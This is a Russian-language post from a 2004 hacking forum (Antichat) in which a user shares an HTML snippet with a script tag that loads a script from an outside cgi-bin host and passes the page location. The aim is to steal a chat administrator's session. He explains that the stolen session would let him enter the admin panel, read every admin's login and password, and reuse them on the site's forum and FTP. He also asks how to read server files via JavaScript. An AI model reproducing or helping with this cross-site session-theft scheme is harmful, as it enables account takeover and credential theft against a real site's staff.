Форум АНТИЧАТ - =) анализ чата

#21

05.11.2004, 15:58

NoOne

Новичок

Регистрация: 30.10.2004

Сообщений: 16

Провел на форуме:
0

Репутация: 0

Андрюш, я вообще-то от идеи использовать куки сразу отказалс, т.к. в куки передается только номер комнаты, номер цвета и название ника, вот потому я использовал следующий код
<html>
<head>
</head>
<body>
<tr><td>
<img src="http://chat/photos/26.big.jpg">
<script src="http://antichat.ru/cgi-bin/s.jpg?zz_...ation.href>
</script>
</td></tr>
</body>
</html>
НО... как я говорил, в Реферере передается ссылка на картинку, а не адресная строка того, кто кликнул по этой ссылке, вот в чем загвоздка...
А получив сессию Верховного Админа чата можно и в Админку залезть и посмотреть Логины и Пароли всех остальных админов, а также получить доступ к Форуму и ФТП (это особо интересно), т.к. я не думаю, что у "этого" админа разные пароли на Чат, Форум и ФТП )))))

Насколько я вычитал в доках по ЯваСкриптам и ВБСкриптам, то различают Серверные скрипты и клиентские, т.е. все же с помощью ЯваСкрипта можно получить доступ к файлам на серевере, только вот что это за Серверные скрипты и какое условие должно выполняться, чтобы сервер воспринял скрипт как серверный....?